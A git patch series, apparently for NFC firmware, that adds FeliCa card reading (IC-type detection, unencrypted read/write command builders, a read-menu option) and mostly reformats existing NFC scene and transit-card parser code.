+#define ID_LITE_BLOCK 0x82 +#define DEVICE_ID_LITE_BLOCK 0x83 +#define SERVICE_CODE_LITE_BLOCK 0x84 +#define SYS_CODE_LITE_BLOCK 0x85 +#define CARD_KEY_VER_LITE_BLOCK 0x86 +#define CARD_KEY_LITE_BLOCK 0x87 +#define MEM_CONFIG_LITE_BLOCK 0x88 +#define WRITE_COUNT_LITE_BLOCK 0x90 +#define MAC_A_LITE_BLOCK 0x91 +#define STATE_LITE_BLOCK 0x92 +#define CRC_CHECK_LITE_BLOCK 0xA0 + +#define RANDOM_TYPE_SERVICE_ATTRIBUTE (0b0010 << 2) +#define CYCLIC_TYPE_SERVICE_ATTRIBUTE (0b0011 << 2) +#define PURSE_TYPE_SERVICE_ATTRIBUTE (0b010 << 3) + +#define AUTH_RW_SERVICE_ATTRIBUTE (0b00) +#define UNAUTH_RW_SERVICE_ATTRIBUTE (0b01) +#define AUTH_RO_SERVICE_ATTRIBUTE (0b10) +#define UNAUTH_RO_SERVICE_ATTRIBUTE (0b11) + +#define AUTH_DIRECT_ACCESS_SERVICE_ATTRIBUTE (0b000) +#define UNAUTH_DIRECT_ACCESS_SERVICE_ATTRIBUTE (0b001) +#define AUTH_CASHBACK_DECREMENT_SERVICE_ATTRIBUTE (0b010) +#define UNAUTH_CASHBACK_DECREMENT_SERVICE_ATTRIBUTE (0b011) +#define AUTH_DECREMENT_SERVICE_ATTRIBUTE (0b100) +#define UNAUTH_DECREMENT_SERVICE_ATTRIBUTE (0b101) +#define AUTH_RO_PURSE_SERVICE_ATTRIBUTE (0b110) +#define UNAUTH_RO_PURSE_SERVICE_ATTRIBUTE (0b111) + +#define IS_2_BYTE_BLOCK_LIST_ELEMENT 0x80 + +#define FELICA_UNENCRYPTED_READ_CMD 0x06 +#define FELICA_UNENCRYPTED_WRITE_CMD 0x08 + +#define FELICA_UNENCRYPTED_READ_RES 0x07 +#define FELICA_UNENCRYPTED_WRITE_RES 0x09 + +typedef enum { + FelicaICTypeRC_SA24_10K, // RC-SA24/1x + FelicaICTypeRC_SA24_6K, // RC-SA24/1x1 + FelicaICTypeSD2_6K, // RC-SA21/2x1 + FelicaICTypeSD2_4K, // RC-SA21/2 + FelicaICTypeSD2WithDES, // RC-SA20/1, RC-SA20/2 + FelicaICTypeRC_SA08, // Certifications exist, prototype? + FelicaICTypeSD1, // RC-SA01 + FelicaICTypeSD1WithDES, // RC-SA00 + FelicaICTypeFRAM_4K, // RC-S962 + FelicaICTypeFRAM_9K, // RC-S960 + FelicaICTypeEMV_36K, // RC-S954 + FelicaICTypeEMV_16K, // RC-S953 + FelicaICTypeEMV_32K, // RC-S952 + FelicaICType576B, // RC-S919 + FelicaICType4K, // RC-S915 + FelicaICType2K, // RC-S830 series cards, chip name unknown, + FelicaICTypeMobileIC_V4_1, + FelicaICTypeMobileIC_V4, + FelicaICTypeMobileIC_V3, + FelicaICTypeMobileIC_V2, + FelicaICTypeMobileIC_V1, + FelicaICTypeLite, // RC-S965 + FelicaICTypeLiteS, // RC-S966 + FelicaICTypeLink, // RC-S967, + FelicaICTypePlug, // RC-S926 + FelicaICTypeSuica, // https://www.tuv-nederland.nl/assets/files/cerfiticaten/2019/07/cr-nscib-cc-10-30076-cr.pdf +} FelicaICType; + +typedef struct { + uint8_t exponent: 2; + // Incremented at read + uint8_t real_a: 4; + uint8_t real_b: 4; +} FelicaMRTParts; + +typedef enum { + FelicaMRTCommandTypeVariable = 0, + FelicaMRTCommandTypeFixed = 1, + FelicaMRTCommandTypeMutualAuth = 2, + FelicaMRTCommandTypeDataRead = 3, + FelicaMRTCommandTypeDataWrite = 4, + FelicaMRTCommandTypeDataOther = 4, +} FelicaMRTCommandType; + +typedef FelicaMRTParts FelicaMRTParameters[6]; + +typedef struct { + uint16_t number; + uint16_t end_service_code; +} FelicaArea; + +typedef enum { + FelicaBlockTypeNormal, + FelicaBlockTypeOverlap, + FelicaBlockTypeExtended, +} FelicaBlockType; + +typedef struct { + FelicaBlockType type; + union { + uint8_t data[FELICA_BLOCK_SIZE]; + }; +} FelicaBlock; + +// typedef struct {} FelicaOverlapBlock; + +typedef struct _FelicaService_t { + uint16_t number; + uint16_t block_count; + FelicaBlock** blocks; + + struct _FelicaService_t* next; +} FelicaService; + +typedef struct _FelicaSystem_t { + uint8_t number; + uint16_t code; + uint8_t idm[8]; + uint8_t pmm[8]; + FelicaMRTParameters maximum_response_times; + + FelicaService* services; + + struct _FelicaSystem_t* next; +} FelicaSystem; + +typedef struct { + FelicaICType type; + uint8_t subtype; + uint8_t system_count; + FelicaSystem* systems; +} FelicaData; + +typedef struct { + uint8_t current_idm[8]; + uint8_t current_pmm[8]; + + uint8_t status_flags[2]; +} FelicaReader; + +bool felica_check_ic_type(uint8_t* PMm); +FelicaICType felica_get_ic_type(uint8_t* PMm); +bool felica_read_card(FuriHalNfcTxRxContext* tx_rx, FelicaData* data, uint8_t* polled_idm, uint8_t* polled_pmm); \ No newline at end of file From 68b3cc233bacb3aade1ab1dbaae2b1c1daadae40 Mon Sep 17 00:00:00 2001 From: nullableVoidPtr <30564701+nullableVoidPtr@users.noreply.github.com> Date: Tue, 6 Dec 2022 02:58:11 +0800 Subject: [PATCH 008/329] NFC: add specific FeliCa type read option --- applications/main/nfc/nfc_cli.c | 12 +- .../scenes/nfc_scene_felica_read_success.c | 3 +- .../main/nfc/scenes/nfc_scene_nfc_data_info.c | 3 +- .../nfc/scenes/nfc_scene_nfca_read_success.c | 3 +- .../nfc/scenes/nfc_scene_read_card_type.c | 12 + lib/nfc/helpers/reader_analyzer.c | 5 +- lib/nfc/nfc_device.c | 2 +- lib/nfc/nfc_device.h | 2 +- lib/nfc/nfc_worker.c | 11 + lib/nfc/parsers/plantain_4k_parser.c | 3 +- lib/nfc/parsers/plantain_parser.c | 3 +- lib/nfc/parsers/troika_4k_parser.c | 3 +- lib/nfc/parsers/troika_parser.c | 3 +- lib/nfc/parsers/two_cities.c | 3 +- lib/nfc/protocols/felica.c | 336 +++++++++--------- lib/nfc/protocols/felica.h | 18 +- 16 files changed, 225 insertions(+), 197 deletions(-) diff --git a/applications/main/nfc/nfc_cli.c b/applications/main/nfc/nfc_cli.c index 87aa6748d..0fd8e1e14 100644 --- a/applications/main/nfc/nfc_cli.c +++ b/applications/main/nfc/nfc_cli.c @@ -74,15 +74,17 @@ static void nfc_cli_emulate(Cli* cli, FuriString* args) { FuriHalNfcDevData params = { .uid = {0x36, 0x9C, 0xe7, 0xb1, 0x0A, 0xC1, 0x34}, .uid_len = 7, - .a_data = { - .atqa = {0x44, 0x00}, - .sak = 0x00, - }, + .a_data = + { + .atqa = {0x44, 0x00}, + .sak = 0x00, + }, .type = FuriHalNfcTypeA, }; while(!cli_cmd_interrupt_received(cli)) { - if(furi_hal_nfc_listen(params.uid, params.uid_len, params.a_data.atqa, params.a_data.sak, false, 100)) { + if(furi_hal_nfc_listen( + params.uid, params.uid_len, params.a_data.atqa, params.a_data.sak, false, 100)) { printf("Reader detected\r\n"); furi_hal_nfc_sleep(); } diff --git a/applications/main/nfc/scenes/nfc_scene_felica_read_success.c b/applications/main/nfc/scenes/nfc_scene_felica_read_success.c index d63a04837..80548c09d 100644 --- a/applications/main/nfc/scenes/nfc_scene_felica_read_success.c +++ b/applications/main/nfc/scenes/nfc_scene_felica_read_success.c @@ -29,7 +29,8 @@ void nfc_scene_felica_read_success_on_enter(void* context) { FelicaSystem* current_system = felica_data->systems; while(current_system) { - furi_string_cat_printf(temp_str, "\nSystem %04X (#%d):", current_system->code, current_system->number); + furi_string_cat_printf( + temp_str, "\nSystem %04X (#%d):", current_system->code, current_system->number); furi_string_cat_printf(temp_str, "\nIDm:\n "); for(size_t i = 0; i < 8; i++) { furi_string_cat_printf(temp_str, "%02X", current_system->idm[i]); diff --git a/applications/main/nfc/scenes/nfc_scene_nfc_data_info.c b/applications/main/nfc/scenes/nfc_scene_nfc_data_info.c index 9586e247d..96dfcf4de 100644 --- a/applications/main/nfc/scenes/nfc_scene_nfc_data_info.c +++ b/applications/main/nfc/scenes/nfc_scene_nfc_data_info.c @@ -51,7 +51,8 @@ void nfc_scene_nfc_data_info_on_enter(void* context) { for(size_t i = 0; i < nfc_data->uid_len; i++) { furi_string_cat_printf(temp_str, " %02X", nfc_data->uid[i]); } - furi_string_cat_printf(temp_str, "\nATQA: %02X %02X ", nfc_data->a_data.atqa[1], nfc_data->a_data.atqa[0]); + furi_string_cat_printf( + temp_str, "\nATQA: %02X %02X ", nfc_data->a_data.atqa[1], nfc_data->a_data.atqa[0]); furi_string_cat_printf(temp_str, " SAK: %02X", nfc_data->a_data.sak); // Set application specific data diff --git a/applications/main/nfc/scenes/nfc_scene_nfca_read_success.c b/applications/main/nfc/scenes/nfc_scene_nfca_read_success.c index 0e798452c..74fff367f 100644 --- a/applications/main/nfc/scenes/nfc_scene_nfca_read_success.c +++ b/applications/main/nfc/scenes/nfc_scene_nfca_read_success.c @@ -30,7 +30,8 @@ void nfc_scene_nfca_read_success_on_enter(void* context) { for(size_t i = 0; i < data->uid_len; i++) { furi_string_cat_printf(temp_str, " %02X", data->uid[i]); } - furi_string_cat_printf(temp_str, "\nATQA: %02X %02X ", data->a_data.atqa[1], data->a_data.atqa[0]); + furi_string_cat_printf( + temp_str, "\nATQA: %02X %02X ", data->a_data.atqa[1], data->a_data.atqa[0]); furi_string_cat_printf(temp_str, " SAK: %02X", data->a_data.sak); widget_add_text_scroll_element(widget, 0, 0, 128, 52, furi_string_get_cstr(temp_str)); diff --git a/applications/main/nfc/scenes/nfc_scene_read_card_type.c b/applications/main/nfc/scenes/nfc_scene_read_card_type.c index 94262aa1e..865b3f54b 100644 --- a/applications/main/nfc/scenes/nfc_scene_read_card_type.c +++ b/applications/main/nfc/scenes/nfc_scene_read_card_type.c @@ -7,6 +7,7 @@ enum SubmenuIndex { SubmenuIndexReadMfUltralight, SubmenuIndexReadEMV, SubmenuIndexReadNFCA, + SubmenuIndexReadFelica, }; void nfc_scene_read_card_type_submenu_callback(void* context, uint32_t index) { @@ -49,6 +50,12 @@ void nfc_scene_read_card_type_on_enter(void* context) { SubmenuIndexReadNFCA, nfc_scene_read_card_type_submenu_callback, nfc); + submenu_add_item( + submenu, + "Read FeliCa", + SubmenuIndexReadFelica, + nfc_scene_read_card_type_submenu_callback, + nfc); uint32_t state = scene_manager_get_scene_state(nfc->scene_manager, NfcSceneReadCardType); submenu_set_selected_item(submenu, state); @@ -85,6 +92,11 @@ bool nfc_scene_read_card_type_on_event(void* context, SceneManagerEvent event) { scene_manager_next_scene(nfc->scene_manager, NfcSceneRead); consumed = true; } + if(event.event == SubmenuIndexReadFelica) { + nfc->dev->dev_data.read_mode = NfcReadModeFelica; + scene_manager_next_scene(nfc->scene_manager, NfcSceneRead); + consumed = true; + } scene_manager_set_scene_state(nfc->scene_manager, NfcSceneReadCardType, event.event); } return consumed; diff --git a/lib/nfc/helpers/reader_analyzer.c b/lib/nfc/helpers/reader_analyzer.c index 87b9a4e6d..c2d97e191 100644 --- a/lib/nfc/helpers/reader_analyzer.c +++ b/lib/nfc/helpers/reader_analyzer.c @@ -43,10 +43,7 @@ const FuriHalNfcDevData reader_analyzer_nfc_data[] = { .type = FuriHalNfcTypeA, .uid_len = 7, .uid = {0x04, 0x77, 0x70, 0x2A, 0x23, 0x4F, 0x80}, - .a_data = { - .sak = 0x08, - .atqa = {0x44, 0x00}, - .cuid = 0x2A234F80}}, + .a_data = {.sak = 0x08, .atqa = {0x44, 0x00}, .cuid = 0x2A234F80}}, }; void reader_analyzer_parse(ReaderAnalyzer* instance, uint8_t* buffer, size_t size) { diff --git a/lib/nfc/nfc_device.c b/lib/nfc/nfc_device.c index 1ada4d888..32dae3c15 100644 --- a/lib/nfc/nfc_device.c +++ b/lib/nfc/nfc_device.c @@ -1127,7 +1127,7 @@ static bool nfc_device_load_data(NfcDevice* dev, FuriString* path, bool show_dia cuid_start = &data->uid[3]; } data->a_data.cuid = (cuid_start[0] << 24) | (cuid_start[1] << 16) | (cuid_start[2] << 8) | - (cuid_start[3]); + (cuid_start[3]); // Parse other data if(dev->format == NfcDeviceSaveFormatMifareUl) { if(!nfc_device_load_mifare_ul_data(file, dev)) break; diff --git a/lib/nfc/nfc_device.h b/lib/nfc/nfc_device.h index 75c73a42b..54c696ff9 100644 --- a/lib/nfc/nfc_device.h +++ b/lib/nfc/nfc_device.h @@ -61,7 +61,7 @@ typedef enum { NfcReadModeMfDesfire, NfcReadModeEMV, NfcReadModeNFCA, - NfcReadModeNFCF, + NfcReadModeFelica, } NfcReadMode; typedef struct { diff --git a/lib/nfc/nfc_worker.c b/lib/nfc/nfc_worker.c index efc99b5d3..3e4677a46 100644 --- a/lib/nfc/nfc_worker.c +++ b/lib/nfc/nfc_worker.c @@ -499,6 +499,17 @@ void nfc_worker_read_type(NfcWorker* nfc_worker) { event = NfcWorkerEventReadUidNfcA; break; } + } else if(nfc_data->type == FuriHalNfcTypeF) { + if(read_mode == NfcReadModeFelica) { + nfc_worker->dev_data->protocol = NfcDeviceProtocolFelica; + if(nfc_worker_read_felica(nfc_worker, &tx_rx)) { + nfc_worker->dev_data->protocol = NfcDeviceProtocolFelica; + if(nfc_worker_read_felica(nfc_worker, &tx_rx)) { + event = NfcWorkerEventReadFelica; + break; + } + } + } } else { if(!card_not_detected_notified) { nfc_worker->callback(NfcWorkerEventNoCardDetected, nfc_worker->context); diff --git a/lib/nfc/parsers/plantain_4k_parser.c b/lib/nfc/parsers/plantain_4k_parser.c index be914ceee..2d48c9a6e 100644 --- a/lib/nfc/parsers/plantain_4k_parser.c +++ b/lib/nfc/parsers/plantain_4k_parser.c @@ -71,7 +71,8 @@ bool plantain_4k_parser_read(NfcWorker* nfc_worker, FuriHalNfcTxRxContext* tx_rx MfClassicReader reader = {}; FuriHalNfcADevData* nfc_a_data = &nfc_worker->dev_data->nfc_data.a_data; - reader.type = mf_classic_get_classic_type(nfc_a_data->atqa[0], nfc_a_data->atqa[1], nfc_a_data->sak); + reader.type = + mf_classic_get_classic_type(nfc_a_data->atqa[0], nfc_a_data->atqa[1], nfc_a_data->sak); for(size_t i = 0; i < COUNT_OF(plantain_keys_4k); i++) { mf_classic_reader_add_sector( &reader, diff --git a/lib/nfc/parsers/plantain_parser.c b/lib/nfc/parsers/plantain_parser.c index f0c22a39a..b2cc1017f 100644 --- a/lib/nfc/parsers/plantain_parser.c +++ b/lib/nfc/parsers/plantain_parser.c @@ -46,7 +46,8 @@ bool plantain_parser_read(NfcWorker* nfc_worker, FuriHalNfcTxRxContext* tx_rx) { MfClassicReader reader = {}; FuriHalNfcADevData* nfc_a_data = &nfc_worker->dev_data->nfc_data.a_data; - reader.type = mf_classic_get_classic_type(nfc_a_data->atqa[0], nfc_a_data->atqa[1], nfc_a_data->sak); + reader.type = + mf_classic_get_classic_type(nfc_a_data->atqa[0], nfc_a_data->atqa[1], nfc_a_data->sak); for(size_t i = 0; i < COUNT_OF(plantain_keys); i++) { mf_classic_reader_add_sector( &reader, plantain_keys[i].sector, plantain_keys[i].key_a, plantain_keys[i].key_b); diff --git a/lib/nfc/parsers/troika_4k_parser.c b/lib/nfc/parsers/troika_4k_parser.c index b468fa8b9..a94d69486 100644 --- a/lib/nfc/parsers/troika_4k_parser.c +++ b/lib/nfc/parsers/troika_4k_parser.c @@ -68,7 +68,8 @@ bool troika_4k_parser_read(NfcWorker* nfc_worker, FuriHalNfcTxRxContext* tx_rx) MfClassicReader reader = {}; FuriHalNfcADevData* nfc_a_data = &nfc_worker->dev_data->nfc_data.a_data; - reader.type = mf_classic_get_classic_type(nfc_a_data->atqa[0], nfc_a_data->atqa[1], nfc_a_data->sak); + reader.type = + mf_classic_get_classic_type(nfc_a_data->atqa[0], nfc_a_data->atqa[1], nfc_a_data->sak); for(size_t i = 0; i < COUNT_OF(troika_4k_keys); i++) { mf_classic_reader_add_sector( &reader, troika_4k_keys[i].sector, troika_4k_keys[i].key_a, troika_4k_keys[i].key_b); diff --git a/lib/nfc/parsers/troika_parser.c b/lib/nfc/parsers/troika_parser.c index 2ab9476c2..569d83822 100644 --- a/lib/nfc/parsers/troika_parser.c +++ b/lib/nfc/parsers/troika_parser.c @@ -44,7 +44,8 @@ bool troika_parser_read(NfcWorker* nfc_worker, FuriHalNfcTxRxContext* tx_rx) { MfClassicReader reader = {}; FuriHalNfcADevData* nfc_a_data = &nfc_worker->dev_data->nfc_data.a_data; - reader.type = mf_classic_get_classic_type(nfc_a_data->atqa[0], nfc_a_data->atqa[1], nfc_a_data->sak); + reader.type = + mf_classic_get_classic_type(nfc_a_data->atqa[0], nfc_a_data->atqa[1], nfc_a_data->sak); for(size_t i = 0; i < COUNT_OF(troika_keys); i++) { mf_classic_reader_add_sector( diff --git a/lib/nfc/parsers/two_cities.c b/lib/nfc/parsers/two_cities.c index 16c7d049a..e625e3e97 100644 --- a/lib/nfc/parsers/two_cities.c +++ b/lib/nfc/parsers/two_cities.c @@ -72,7 +72,8 @@ bool two_cities_parser_read(NfcWorker* nfc_worker, FuriHalNfcTxRxContext* tx_rx) MfClassicReader reader = {}; FuriHalNfcADevData* nfc_a_data = &nfc_worker->dev_data->nfc_data.a_data; - reader.type = mf_classic_get_classic_type(nfc_a_data->atqa[0], nfc_a_data->atqa[1], nfc_a_data->sak); + reader.type = + mf_classic_get_classic_type(nfc_a_data->atqa[0], nfc_a_data->atqa[1], nfc_a_data->sak); for(size_t i = 0; i < COUNT_OF(two_cities_keys_4k); i++) { mf_classic_reader_add_sector( &reader, diff --git a/lib/nfc/protocols/felica.c b/lib/nfc/protocols/felica.c index 57b5fc7d5..5cfa42d19 100644 --- a/lib/nfc/protocols/felica.c +++ b/lib/nfc/protocols/felica.c @@ -12,49 +12,49 @@ bool felica_check_ic_type(uint8_t* PMm) { uint8_t rom_type = PMm[1]; bool is_valid_ic = false; - if (ic_type == 0xff) { // RC-S967 in nfc-dep + if(ic_type == 0xff) { // RC-S967 in nfc-dep is_valid_ic = true; - } else if (ic_type == 0xf0 || ic_type == 0xf2) { // Lite(S) + } else if(ic_type == 0xf0 || ic_type == 0xf2) { // Lite(S) is_valid_ic = true; - } else if (ic_type == 0xe1) { // RC-S967 in plug mode + } else if(ic_type == 0xe1) { // RC-S967 in plug mode is_valid_ic = true; - } else if (ic_type == 0xe0) { // RC-S926 + } else if(ic_type == 0xe0) { // RC-S926 is_valid_ic = true; - } else if (ic_type >= 0x44 && ic_type <= 0x48) { // SD2 + } else if(ic_type >= 0x44 && ic_type <= 0x48) { // SD2 is_valid_ic = true; - } else if (ic_type == 0x3e && rom_type == 0x03) { // RC-SA08 + } else if(ic_type == 0x3e && rom_type == 0x03) { // RC-SA08 return true; - } else if (ic_type == 0x35) { // RC-SA01 + } else if(ic_type == 0x35) { // RC-SA01 is_valid_ic = true; - } else if (ic_type == 0x32) { // RC-SA00 + } else if(ic_type == 0x32) { // RC-SA00 is_valid_ic = true; - } else if (ic_type == 0x31) { // Suica/PASMO + } else if(ic_type == 0x31) { // Suica/PASMO is_valid_ic = true; - } else if (ic_type == 0x20) { // RC-S962 + } else if(ic_type == 0x20) { // RC-S962 is_valid_ic = true; - } else if (ic_type >= 0x10 && ic_type <= 0x1f) { // Mobile IC version 2/3 + } else if(ic_type >= 0x10 && ic_type <= 0x1f) { // Mobile IC version 2/3 is_valid_ic = true; - } else if (ic_type == 0x0d) { // RC-S960 + } else if(ic_type == 0x0d) { // RC-S960 is_valid_ic = true; - } else if (ic_type == 0x0c) { // RC-S954 + } else if(ic_type == 0x0c) { // RC-S954 is_valid_ic = true; - } else if (ic_type == 0x0b) { // Old Suica? + } else if(ic_type == 0x0b) { // Old Suica? is_valid_ic = true; - } else if (ic_type == 0x09) { // RC-S953 + } else if(ic_type == 0x09) { // RC-S953 is_valid_ic = true; - } else if (ic_type == 0x08) { // RC-S952 + } else if(ic_type == 0x08) { // RC-S952 is_valid_ic = true; - } else if (ic_type == 0x06 || ic_type == 0x07) { // Mobile IC version 1 + } else if(ic_type == 0x06 || ic_type == 0x07) { // Mobile IC version 1 is_valid_ic = true; - } else if (ic_type == 0x02) { // RC-S919 + } else if(ic_type == 0x02) { // RC-S919 is_valid_ic = true; - } else if (ic_type == 0x01) { // RC-S915 + } else if(ic_type == 0x01) { // RC-S915 is_valid_ic = true; - } else if (ic_type == 0x00) { // RC-S830 + } else if(ic_type == 0x00) { // RC-S830 is_valid_ic = true; } - if (!is_valid_ic) { + if(!is_valid_ic) { return false; } @@ -71,11 +71,13 @@ bool felica_check_ic_type(uint8_t* PMm) { uint8_t felica_prepare_unencrypted_read( uint8_t* dest, const FelicaReader* reader, - const uint16_t* service_code_list, uint8_t service_count, - const uint32_t* block_list, uint8_t block_count) { + const uint16_t* service_code_list, + uint8_t service_count, + const uint32_t* block_list, + uint8_t block_count) { dest[0] = FELICA_UNENCRYPTED_READ_CMD; memcpy(&dest[1], reader->current_idm, 8); - + dest[9] = service_count; uint8_t msg_len = 10; for(int i = 0; i < service_count; i++) { @@ -90,7 +92,7 @@ uint8_t felica_prepare_unencrypted_read( dest[msg_len++] = block_num & 0xFF; dest[msg_len++] = block_num >> 8; } - + return msg_len; } @@ -98,17 +100,16 @@ uint8_t felica_lite_prepare_unencrypted_read( uint8_t* dest, const FelicaReader* reader, bool is_read_only, - const uint8_t* block_list, uint8_t block_count) { - + const uint8_t* block_list, + uint8_t block_count) { dest[0] = FELICA_UNENCRYPTED_READ_CMD; memcpy(&dest[1], reader->current_idm, 8); - + dest[9] = 1; uint8_t msg_len = 10; - uint8_t service_code = RANDOM_TYPE_SERVICE_ATTRIBUTE | ( - (is_read_only) - ? UNAUTH_RO_SERVICE_ATTRIBUTE - : UNAUTH_RW_SERVICE_ATTRIBUTE); + uint8_t service_code = + RANDOM_TYPE_SERVICE_ATTRIBUTE | + ((is_read_only) ? UNAUTH_RO_SERVICE_ATTRIBUTE : UNAUTH_RW_SERVICE_ATTRIBUTE); dest[msg_len++] = service_code & 0xFF; dest[msg_len++] = service_code >> 8; @@ -118,14 +119,16 @@ uint8_t felica_lite_prepare_unencrypted_read( dest[msg_len++] = IS_2_BYTE_BLOCK_LIST_ELEMENT; dest[msg_len++] = block_list[i]; } - + return msg_len; } uint16_t felica_parse_unencrypted_read( - uint8_t* buf, uint8_t len, + uint8_t* buf, + uint8_t len, FelicaReader* reader, - uint8_t* out, uint16_t out_len) { + uint8_t* out, + uint16_t out_len) { if(len < 12) { return false; } @@ -160,10 +163,10 @@ uint16_t felica_parse_unencrypted_read( len--; buf++; - if (len < data_length || out_len < data_length) { + if(len < data_length || out_len < data_length) { return 0; } - + memcpy(out, buf, data_length); return data_length; @@ -172,12 +175,14 @@ uint16_t felica_parse_unencrypted_read( uint8_t felica_prepare_unencrypted_write( uint8_t* dest, FelicaReader* reader, - const uint16_t* service_code_list, uint8_t service_count, - const uint32_t* block_list, uint8_t block_count, + const uint16_t* service_code_list, + uint8_t service_count, + const uint32_t* block_list, + uint8_t block_count, const uint8_t* block_data) { dest[0] = FELICA_UNENCRYPTED_WRITE_CMD; memcpy(&dest[1], reader->current_idm, 8); - + dest[9] = service_count; uint8_t msg_len = 10; for(int i = 0; i < service_count; i++) { @@ -192,7 +197,7 @@ uint8_t felica_prepare_unencrypted_write( dest[msg_len++] = block_num & 0xFF; dest[msg_len++] = block_num >> 8; } - + uint16_t data_length = block_count * FELICA_BLOCK_SIZE; memcpy(dest + msg_len, block_data, data_length); msg_len += data_length; @@ -202,12 +207,12 @@ uint8_t felica_prepare_unencrypted_write( uint8_t felica_lite_prepare_unencrypted_write( uint8_t* dest, const FelicaReader* reader, - const uint8_t* block_list, uint8_t block_count, + const uint8_t* block_list, + uint8_t block_count, const uint8_t* block_data) { - dest[0] = FELICA_UNENCRYPTED_WRITE_CMD; memcpy(&dest[1], reader->current_idm, 8); - + dest[9] = 1; uint8_t msg_len = 10; uint8_t service_code = RANDOM_TYPE_SERVICE_ATTRIBUTE | UNAUTH_RW_SERVICE_ATTRIBUTE; @@ -226,9 +231,7 @@ uint8_t felica_lite_prepare_unencrypted_write( return msg_len; } -bool felica_parse_unencrypted_write( - uint8_t* buf, uint8_t len, - FelicaReader* reader) { +bool felica_parse_unencrypted_write(uint8_t* buf, uint8_t len, FelicaReader* reader) { if(len < 12) { return false; } @@ -259,83 +262,82 @@ bool felica_parse_unencrypted_write( return true; } - FelicaICType felica_get_ic_type(uint8_t* PMm) { uint8_t rom_type = PMm[0]; uint8_t ic_type = PMm[1]; UNUSED(rom_type); switch(ic_type) { - case 0xff: - return FelicaICTypeLink; - case 0xf2: - return FelicaICTypeLink; - case 0xf1: - return FelicaICTypeLiteS; - case 0xf0: - return FelicaICTypeLite; - case 0xe1: - return FelicaICTypeLink; - case 0xe0: - return FelicaICTypePlug; - case 0x48: - return FelicaICTypeSD2_6K; - case 0x47: - return FelicaICTypeRC_SA24_6K; - case 0x46: - return FelicaICTypeSD2_4K; - case 0x45: - case 0x44: - return FelicaICTypeSD2WithDES; - case 0x3e: - return FelicaICTypeRC_SA08; - case 0x35: - return FelicaICTypeSD1; - case 0x32: - return FelicaICTypeSD1WithDES; - case 0x31: - return FelicaICTypeSuica; - case 0x20: - return FelicaICTypeFRAM_4K; - case 0x1f: - case 0x1e: - case 0x1d: - case 0x1c: - case 0x1b: - case 0x1a: - case 0x19: - case 0x18: - return FelicaICTypeMobileIC_V4_1; - case 0x17: - return FelicaICTypeMobileIC_V4; - case 0x16: - case 0x15: - case 0x14: - return FelicaICTypeMobileIC_V3; - case 0x13: - case 0x12: - case 0x11: - case 0x10: - return FelicaICTypeMobileIC_V2; - case 0x0d: - return FelicaICTypeFRAM_9K; - case 0x0c: - return FelicaICTypeEMV_36K; - case 0x0b: // Old Suica? - return FelicaICTypeSuica; - case 0x09: - return FelicaICTypeEMV_16K; - case 0x08: - return FelicaICTypeEMV_32K; - case 0x07: - case 0x06: - return FelicaICTypeMobileIC_V1; - case 0x02: - return FelicaICType576B; - case 0x01: - return FelicaICType4K; - case 0x00: - return FelicaICType2K; + case 0xff: + return FelicaICTypeLink; + case 0xf2: + return FelicaICTypeLink; + case 0xf1: + return FelicaICTypeLiteS; + case 0xf0: + return FelicaICTypeLite; + case 0xe1: + return FelicaICTypeLink; + case 0xe0: + return FelicaICTypePlug; + case 0x48: + return FelicaICTypeSD2_6K; + case 0x47: + return FelicaICTypeRC_SA24_6K; + case 0x46: + return FelicaICTypeSD2_4K; + case 0x45: + case 0x44: + return FelicaICTypeSD2WithDES; + case 0x3e: + return FelicaICTypeRC_SA08; + case 0x35: + return FelicaICTypeSD1; + case 0x32: + return FelicaICTypeSD1WithDES; + case 0x31: + return FelicaICTypeSuica; + case 0x20: + return FelicaICTypeFRAM_4K; + case 0x1f: + case 0x1e: + case 0x1d: + case 0x1c: + case 0x1b: + case 0x1a: + case 0x19: + case 0x18: + return FelicaICTypeMobileIC_V4_1; + case 0x17: + return FelicaICTypeMobileIC_V4; + case 0x16: + case 0x15: + case 0x14: + return FelicaICTypeMobileIC_V3; + case 0x13: + case 0x12: + case 0x11: + case 0x10: + return FelicaICTypeMobileIC_V2; + case 0x0d: + return FelicaICTypeFRAM_9K; + case 0x0c: + return FelicaICTypeEMV_36K; + case 0x0b: // Old Suica? + return FelicaICTypeSuica; + case 0x09: + return FelicaICTypeEMV_16K; + case 0x08: + return FelicaICTypeEMV_32K; + case 0x07: + case 0x06: + return FelicaICTypeMobileIC_V1; + case 0x02: + return FelicaICType576B; + case 0x01: + return FelicaICType4K; + case 0x00: + return FelicaICType2K; } return FelicaICType2K; @@ -370,7 +372,11 @@ void felica_define_normal_block(FelicaService* service, uint16_t number, uint8_t service->blocks[number] = block; } -bool felica_read_lite_system(FuriHalNfcTxRxContext* tx_rx, FelicaReader* reader, FelicaData* data, FelicaSystem* system) { +bool felica_read_lite_system( + FuriHalNfcTxRxContext* tx_rx, + FelicaReader* reader, + FelicaData* data, + FelicaSystem* system) { const uint8_t fixed_services[] = { SYS_CODE_LITE_BLOCK, RC_LITE_BLOCK, @@ -380,24 +386,22 @@ bool felica_read_lite_system(FuriHalNfcTxRxContext* tx_rx, FelicaReader* reader, CARD_KEY_VER_LITE_BLOCK, MEM_CONFIG_LITE_BLOCK, }; - + uint8_t block_data[FELICA_BLOCK_SIZE * 4]; - tx_rx->tx_bits = 8 * felica_lite_prepare_unencrypted_read( - tx_rx->tx_data, - reader, - true, - fixed_services, 1 - ); + tx_rx->tx_bits = + 8 * felica_lite_prepare_unencrypted_read(tx_rx->tx_data, reader, true, fixed_services, 1); if(!furi_hal_nfc_tx_rx_full(tx_rx)) { FURI_LOG_W(TAG, "Bad exchange verifying Lite system code"); return false; } - if(felica_parse_unencrypted_read(tx_rx->rx_data, tx_rx->rx_bits / 8, reader, block_data, sizeof(block_data)) != FELICA_BLOCK_SIZE) { + if(felica_parse_unencrypted_read( + tx_rx->rx_data, tx_rx->rx_bits / 8, reader, block_data, sizeof(block_data)) != + FELICA_BLOCK_SIZE) { FURI_LOG_W(TAG, "Bad response to Read without Encryption (SYS_C)"); return false; } - if (block_data[0] != (LITE_SYSTEM_CODE >> 8) && block_data[1] != (LITE_SYSTEM_CODE & 0xFF)) { + if(block_data[0] != (LITE_SYSTEM_CODE >> 8) && block_data[1] != (LITE_SYSTEM_CODE & 0xFF)) { FURI_LOG_W(TAG, "Unexpected SYS_C value"); return false; } @@ -411,16 +415,12 @@ bool felica_read_lite_system(FuriHalNfcTxRxContext* tx_rx, FelicaReader* reader, for(int i = 0; i < service->block_count; i++) { service->blocks[i] = NULL; } - + felica_define_normal_block(service, SYS_CODE_LITE_BLOCK, block_data); memset(block_data, 0, FELICA_BLOCK_SIZE); 